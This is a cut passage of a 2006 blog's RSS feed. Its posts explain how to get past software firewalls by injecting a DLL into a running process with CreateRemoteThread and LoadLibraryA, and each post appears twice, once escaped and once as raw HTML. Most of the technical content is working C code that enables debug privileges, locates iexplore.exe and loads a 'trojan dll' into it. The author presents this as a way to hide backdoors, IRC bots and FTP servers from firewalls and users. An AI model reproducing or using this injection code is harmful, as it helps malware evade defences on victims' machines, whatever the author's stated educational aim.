				tTP.Privileges-&gt;Luid.LowPart=tLUID.LowPart;&lt;/p&gt;
	&lt;p&gt;				// now we adjust privs&lt;br&gt;
				DWORD lengthReturned;&lt;br&gt;
				diditwork=AdjustTokenPrivileges(hToken,0,&amp;tTP,sizeof(tTP),&amp;tTPOld,&amp;lengthReturned);&lt;br&gt;
				//x=GetLastError();&lt;br&gt;
				CloseHandle(hToken);&lt;br&gt;
				if(diditwork!=0)&lt;br&gt;
				{&lt;br&gt;
					return 1;&lt;br&gt;
				}&lt;br&gt;
			}&lt;br&gt;
		}&lt;br&gt;
	}&lt;br&gt;
	return 0;&lt;br&gt;
}&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;You can use the function AdjustTokenToDebug to provide your injection app the correct privileges to inject into any system process.&lt;/p&gt;
	&lt;p&gt;Ok, so now we can finally see how injection works...here's a full code snippet:&lt;/p&gt;
	&lt;blockquote&gt;&lt;p&gt;
#include "stdafx.h"&lt;br&gt;
#include "install hooks.h"&lt;br&gt;
#include "Tlhelp32.h"&lt;br&gt;
#include "Psapi.h"&lt;/p&gt;
	&lt;p&gt;#pragma comment( lib, "Psapi" )&lt;/p&gt;
	&lt;p&gt;int APIENTRY _tWinMain(HINSTANCE hInstance,&lt;br&gt;
                     HINSTANCE hPrevInstance,&lt;br&gt;
                     LPTSTR    lpCmdLine,&lt;br&gt;
                     int       nCmdShow)&lt;br&gt;
{&lt;/p&gt;
	&lt;p&gt;	// 1st of all we need god privs to do process injection&lt;br&gt;
	AdjustTokenToDebug();&lt;/p&gt;
	&lt;p&gt; 	// dll to inject&lt;/p&gt;
	&lt;p&gt;	char dll[] = "myDll.dll";&lt;br&gt;
	char temp[500];&lt;br&gt;
	GetCurrentDirectoryA(500, temp);&lt;/p&gt;
	&lt;p&gt;	strcat(temp, "\\");&lt;br&gt;
	strcat(temp, dll);&lt;/p&gt;
	&lt;p&gt; 	char processName[] =   "iexplore.exe";&lt;br&gt;
	DWORD targetPID = GetProcessPIDByName(processName);&lt;br&gt;
	if(targetPID==0){return 0;}&lt;/p&gt;
	&lt;p&gt;	// inject trojan dll into explorer.exe&lt;br&gt;
	HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,false,targetPID);&lt;/p&gt;
	&lt;p&gt;	int x = strlen(temp);&lt;br&gt;
	SIZE_T numWritten = 0;&lt;br&gt;
	void* lpTargetMemory = VirtualAllocEx(targetProcessHandle,0,strlen(temp),0x1000,0x4);&lt;br&gt;
	BOOL diditWrite = WriteProcessMemory(targetProcessHandle,lpTargetMemory,temp,strlen(temp),0);&lt;br&gt;
	DWORD ThreadID;&lt;br&gt;
	HMODULE dllInjectHandle=NULL; &lt;/p&gt;
	&lt;p&gt;	HANDLE hThread=CreateRemoteThread(targetProcessHandle,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA"),lpTargetMemory,0,&amp;ThreadID);&lt;/p&gt;
	&lt;p&gt;	return FALSE;&lt;br&gt;
}&lt;/p&gt;
	&lt;p&gt;DWORD GetProcessPIDByName(char moduleName[256])&lt;br&gt;
{&lt;/p&gt;
	&lt;p&gt;        //get pid&lt;br&gt;
	DWORD idProcess[256];&lt;br&gt;
	DWORD cb = sizeof(idProcess);&lt;br&gt;
	DWORD cdNeeded;&lt;br&gt;
	BOOL didigetlist = EnumProcesses((DWORD*)&amp;idProcess, cb,&amp;cdNeeded);&lt;br&gt;
	char szProcessName[256] = "unknown";&lt;br&gt;
	int noProcess=cdNeeded/sizeof(DWORD);&lt;br&gt;
	int searchPID=0;&lt;br&gt;
	int i=0;&lt;br&gt;
	for (i=0; i lessthan noProcess; i++ )&lt;br&gt;
	{&lt;br&gt;
		HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,idProcess[i]);&lt;br&gt;
		if (NULL != hProcess)&lt;br&gt;
		{&lt;br&gt;
			HMODULE hMod;&lt;br&gt;
			DWORD cbNeeded;&lt;br&gt;
			BOOL didnumwork = EnumProcessModules( hProcess, &amp;hMod, sizeof(hMod),&amp;cbNeeded);&lt;br&gt;
			DWORD y=GetLastError();&lt;br&gt;
			if ( didnumwork )&lt;br&gt;
			{&lt;br&gt;
				DWORD diditwork=GetModuleBaseName( hProcess, hMod, szProcessName,sizeof(szProcessName) );&lt;br&gt;
				_strlwr((char*)&amp;szProcessName);&lt;br&gt;
				DWORD x = GetLastError();&lt;br&gt;
			}&lt;br&gt;
		}&lt;/p&gt;
	&lt;p&gt;		if(stricmp(szProcessName,moduleName)==0)&lt;br&gt;
		{&lt;br&gt;
			searchPID=idProcess[i];&lt;br&gt;
			break;&lt;br&gt;
		}&lt;br&gt;
	}&lt;br&gt;
	return searchPID;&lt;br&gt;
}
&lt;/p&gt;&lt;/blockquote&gt;
	&lt;p&gt;This will allow you to load any dll into any running process.  Next time we will look at how we can  use a dll to hold a typical malware program - e.g. a backdoor, irc bot etc... and how any normal application can be converted into a dll.&lt;/p&gt;
	&lt;p&gt;Tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/10/bypassing_software_firewalls~553208/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>ok, as promised I will now explain a bit more about how CreateRemoteThread can be used to bypass software firewalls.</p>
	<p>MSDN gives the following prototype for the function:</p>
	<blockquote><p>HANDLE CreateRemoteThread(<br>
  HANDLE hProcess,<br>
  LPSECURITY_ATTRIBUTES lpThreadAttributes,<br>
  SIZE_T dwStackSize,<br>
  LPTHREAD_START_ROUTINE lpStartAddress,<br>
  LPVOID lpParameter,<br>
  DWORD dwCreationFlags,<br>
  LPDWORD lpThreadId<br>
);
</p></blockquote>
	<p>The key parameters here are hProcess - this will be a handle to the process we wish to inject into; lpStartAddress - this is an address to a routine that will be executed in the newly created thread,  and lpParameter - this will be a parameter to pass to the thread function.</p>
	<p>We will use a sneaky trick that will allow us to load an entire dll into the target process using this api...</p>
	<p>The lpStartAddress function pointer has the type:</p>
	<blockquote><p>DWORD WINAPI ThreadProc(<br>
  LPVOID lpParameter<br>
);</p></blockquote>
	<p>This means the function must have a single parameter.  By some chance, the following winapi used to load dll's into a process' memory space also takes a single parameter:</p>
	<blockquote><p>HINSTANCE LoadLibrary(<br>
  LPCTSTR lpLibFileName<br>
);</p></blockquote>
	<p>Also by some fortune, we are guaranteed that the function LoadLibrary exists in the target process' memory space, since all processes in windows load kernel32.dll upon initialisation - and even better than this, it will live at exactly the same memory location for all processes...</p>
	<p>This leads us to the following strategy:</p>
	<p>1) Use the api VirtualAllocEx and WriteProcessMemory to allocate memory in the target process and write the path name of a dll we wish to inject into the target process (e.g. c:\windows\evil.dll);</p>
	<p>2) Get a pointer to LoadLibraryA (the "A" means we use the ANSI version, not UNICODE);</p>
	<p>3) Use the api CreateRemoteThread to start a new thread that calls LoadLibraryA with a pointer to the dll path.</p>
	<p>Our final point of good fortune is that LoadLibrary will call the function DllMain from our injected dll, once it has been loaded into the target process.</p>
	<p>This means that the dll can run as a normal executable once inside the target process and is in no way limited in it functionality.</p>
	<p>All sounds too easy?  There is one other minor issue, to use CreateRemoteThread against system processes (e.g. explorer.exe), you need to have a special security priviledge known as "debug privs".  Fortunetely we can gain these using another special api "AdjustTokenPrivileges".  I won't go into the details of how this works, but the code below should explain this.</p>
	<blockquote><p>BOOL AdjustTokenToDebug()<br>
{<br>
	// find the LUID of debug privilege token<br>
	LUID tLUID;<br>
	BOOL diditwork=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tLUID);<br>
	if(diditwork!=0)<br>
	{<br>
		HANDLE hProcess=GetCurrentProcess();<br>
		if(hProcess!=0)<br>
		{<br>
			// Open the token for adjusting and querying<br>
            // (if we can - user may not have rights):<br>
		    HANDLE hToken;//=new HANDLE;<br>
			diditwork=OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);<br>
			//DWORD x=GetLastError();<br>
			if(diditwork!=0)<br>
			{<br>
				// time to adjust debug privs<br>
				TOKEN_PRIVILEGES tTP;<br>
				TOKEN_PRIVILEGES tTPOld;<br>
				tTP.PrivilegeCount=1;<br>
				tTP.Privileges->Attributes=SE_PRIVILEGE_ENABLED;<br>
				tTP.Privileges->Luid.HighPart=tLUID.HighPart;<br>
				tTP.Privileges->Luid.LowPart=tLUID.LowPart;</p>
	<p>				// now we adjust privs<br>
				DWORD lengthReturned;<br>
				diditwork=AdjustTokenPrivileges(hToken,0,&tTP,sizeof(tTP),&tTPOld,&lengthReturned);<br>
				//x=GetLastError();<br>
				CloseHandle(hToken);<br>
				if(diditwork!=0)<br>
				{<br>
					return 1;<br>
				}<br>
			}<br>
		}<br>
	}<br>
	return 0;<br>
}</p></blockquote>
	<p>You can use the function AdjustTokenToDebug to provide your injection app the correct privileges to inject into any system process.</p>
	<p>Ok, so now we can finally see how injection works...here's a full code snippet:</p>
	<blockquote><p>
#include "stdafx.h"<br>
#include "install hooks.h"<br>
#include "Tlhelp32.h"<br>
#include "Psapi.h"</p>
	<p>#pragma comment( lib, "Psapi" )</p>
	<p>int APIENTRY _tWinMain(HINSTANCE hInstance,<br>
                     HINSTANCE hPrevInstance,<br>
                     LPTSTR    lpCmdLine,<br>
                     int       nCmdShow)<br>
{</p>
	<p>	// 1st of all we need god privs to do process injection<br>
	AdjustTokenToDebug();</p>
	<p> 	// dll to inject</p>
	<p>	char dll[] = "myDll.dll";<br>
	char temp[500];<br>
	GetCurrentDirectoryA(500, temp);</p>
	<p>	strcat(temp, "\\");<br>
	strcat(temp, dll);</p>
	<p> 	char processName[] =   "iexplore.exe";<br>
	DWORD targetPID = GetProcessPIDByName(processName);<br>
	if(targetPID==0){return 0;}</p>
	<p>	// inject trojan dll into explorer.exe<br>
	HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,false,targetPID);</p>
	<p>	int x = strlen(temp);<br>
	SIZE_T numWritten = 0;<br>
	void* lpTargetMemory = VirtualAllocEx(targetProcessHandle,0,strlen(temp),0x1000,0x4);<br>
	BOOL diditWrite = WriteProcessMemory(targetProcessHandle,lpTargetMemory,temp,strlen(temp),0);<br>
	DWORD ThreadID;<br>
	HMODULE dllInjectHandle=NULL; </p>
	<p>	HANDLE hThread=CreateRemoteThread(targetProcessHandle,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA"),lpTargetMemory,0,&ThreadID);</p>
	<p>	return FALSE;<br>
}</p>
	<p>DWORD GetProcessPIDByName(char moduleName[256])<br>
{</p>
	<p>        //get pid<br>
	DWORD idProcess[256];<br>
	DWORD cb = sizeof(idProcess);<br>
	DWORD cdNeeded;<br>
	BOOL didigetlist = EnumProcesses((DWORD*)&idProcess, cb,&cdNeeded);<br>
	char szProcessName[256] = "unknown";<br>
	int noProcess=cdNeeded/sizeof(DWORD);<br>
	int searchPID=0;<br>
	int i=0;<br>
	for (i=0; i lessthan noProcess; i++ )<br>
	{<br>
		HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,idProcess[i]);<br>
		if (NULL != hProcess)<br>
		{<br>
			HMODULE hMod;<br>
			DWORD cbNeeded;<br>
			BOOL didnumwork = EnumProcessModules( hProcess, &hMod, sizeof(hMod),&cbNeeded);<br>
			DWORD y=GetLastError();<br>
			if ( didnumwork )<br>
			{<br>
				DWORD diditwork=GetModuleBaseName( hProcess, hMod, szProcessName,sizeof(szProcessName) );<br>
				_strlwr((char*)&szProcessName);<br>
				DWORD x = GetLastError();<br>
			}<br>
		}</p>
	<p>		if(stricmp(szProcessName,moduleName)==0)<br>
		{<br>
			searchPID=idProcess[i];<br>
			break;<br>
		}<br>
	}<br>
	return searchPID;<br>
}
</p></blockquote>
	<p>This will allow you to load any dll into any running process.  Next time we will look at how we can  use a dll to hold a typical malware program - e.g. a backdoor, irc bot etc... and how any normal application can be converted into a dll.</p>
	<p>Tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/10/bypassing_software_firewalls~553208/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/10/software_firewalls~551154/"><default:title>Software Firewalls</default:title><default:link>http://tibbar.blog.co.uk/2006/02/10/software_firewalls~551154/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-10T10:01:33+01:00</dc:date><default:description>	&lt;p&gt;Many home users rely on a software firewall to protect them from malicious hackers on the outside.  While many firewalls do a reasonable job on blocking the outside attacker, most are quite weak at protecting the user from a malicious program that is intended to provide a backdoor into your system.&lt;/p&gt;
	&lt;p&gt;Such programs could include remote logins (telnet style), ircbots (to form part of a botnet) and ftp servers (to allow the attacker to use your computer to host illegal content).&lt;/p&gt;
	&lt;p&gt;The typical firewall works by suspending execution of programs you run, right at the moment the program requests use of the function WSAStartup (the winsock function that initialises use of the socket library (sockets are used for communication)).  &lt;/p&gt;
	&lt;p&gt;It then presents the user with a dialog asking if it is ok that this program accesses the internet.  Of course, this sounds quite safe, but what if the malicious program is able to hide itself within another existing application, that already has internet access...iexplorer, for example...&lt;/p&gt;
	&lt;p&gt;If that were possible, your software firewall would not be of much help.&lt;/p&gt;
	&lt;p&gt;Unfortuntely, it is possible, primarily using a windows api called "CreateRemoteThread".  This ingenious invention of Microsoft allows you to create a new thread in another application.  I am sure it has legitimate uses, but imho it is a dangerous api that should be subject to greater security priviledges.&lt;/p&gt;
	&lt;p&gt;Anyway, using this api command it is possible to "inject" any type of application into an already running application.  This means the attacker can inject all of their ircbots, ftpservers and backdoors into a trusted process, and bypass most firewalls.&lt;/p&gt;
	&lt;p&gt;It also has the added advantage for the attacker that the end user will be oblivious to the extra applications that are running when they look on the taskmgr.&lt;/p&gt;
	&lt;p&gt;Anyway, I gotta head off to work.&lt;/p&gt;
	&lt;p&gt;Tonight, I will give some example code of how this actually works.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/10/software_firewalls~551154/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Many home users rely on a software firewall to protect them from malicious hackers on the outside.  While many firewalls do a reasonable job on blocking the outside attacker, most are quite weak at protecting the user from a malicious program that is intended to provide a backdoor into your system.</p>
	<p>Such programs could include remote logins (telnet style), ircbots (to form part of a botnet) and ftp servers (to allow the attacker to use your computer to host illegal content).</p>
	<p>The typical firewall works by suspending execution of programs you run, right at the moment the program requests use of the function WSAStartup (the winsock function that initialises use of the socket library (sockets are used for communication)).  </p>
	<p>It then presents the user with a dialog asking if it is ok that this program accesses the internet.  Of course, this sounds quite safe, but what if the malicious program is able to hide itself within another existing application, that already has internet access...iexplorer, for example...</p>
	<p>If that were possible, your software firewall would not be of much help.</p>
	<p>Unfortuntely, it is possible, primarily using a windows api called "CreateRemoteThread".  This ingenious invention of Microsoft allows you to create a new thread in another application.  I am sure it has legitimate uses, but imho it is a dangerous api that should be subject to greater security priviledges.</p>
	<p>Anyway, using this api command it is possible to "inject" any type of application into an already running application.  This means the attacker can inject all of their ircbots, ftpservers and backdoors into a trusted process, and bypass most firewalls.</p>
	<p>It also has the added advantage for the attacker that the end user will be oblivious to the extra applications that are running when they look on the taskmgr.</p>
	<p>Anyway, I gotta head off to work.</p>
	<p>Tonight, I will give some example code of how this actually works.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/10/software_firewalls~551154/#comments">Comments</a> </small> </p>]]></content:encoded></default:item><default:item xmlns:default="http://purl.org/rss/1.0/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" rdf:about="http://tibbar.blog.co.uk/2006/02/10/the_beginning~550776/"><default:title>The beginning</default:title><default:link>http://tibbar.blog.co.uk/2006/02/10/the_beginning~550776/</default:link><dc:date xmlns:dc="http://purl.org/dc/elements/1.1/">2006-02-10T02:40:23+01:00</dc:date><default:description>	&lt;p&gt;Well, i've decided to start a blog...&lt;/p&gt;
	&lt;p&gt;Some of you may know me from the site &lt;a href="http://www.governmentsecurity.org"&gt;www.governmentsecurity.org&lt;/a&gt;, I'm on the admin team there and enjoy security software development in my spare time.&lt;/p&gt;
	&lt;p&gt;The plan with this blog, is to share an insight into the things I code, and provide the community an understanding of how malware works, and what security software currently is missing (to protect us).&lt;/p&gt;
	&lt;p&gt;I will also be releasing lots of code snippets here which typically would never been seen in the public eyes (the stuff that blackhats share in private sites).&lt;/p&gt;
	&lt;p&gt;My hope is that by sharing this kind of information, it will help the security community improve their products and make the end user a little bit safer...&lt;/p&gt;
	&lt;p&gt;See you around.&lt;/p&gt;
	&lt;p&gt;Tibbar.
&lt;/p&gt;
&lt;p&gt; &lt;small&gt; &lt;a href="http://tibbar.blog.co.uk/2006/02/10/the_beginning~550776/#comments"&gt;Comments&lt;/a&gt; &lt;/small&gt; &lt;/p&gt;</default:description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[	<p>Well, i've decided to start a blog...</p>
	<p>Some of you may know me from the site <a href="http://www.governmentsecurity.org">www.governmentsecurity.org</a>, I'm on the admin team there and enjoy security software development in my spare time.</p>
	<p>The plan with this blog, is to share an insight into the things I code, and provide the community an understanding of how malware works, and what security software currently is missing (to protect us).</p>
	<p>I will also be releasing lots of code snippets here which typically would never been seen in the public eyes (the stuff that blackhats share in private sites).</p>
	<p>My hope is that by sharing this kind of information, it will help the security community improve their products and make the end user a little bit safer...</p>
	<p>See you around.</p>
	<p>Tibbar.
</p>
<p> <small> <a href="http://tibbar.blog.co.uk/2006/02/10/the_beginning~550776/#comments">Comments</a> </small> </p>]]></content:encoded></default:item></rdf:RDF>
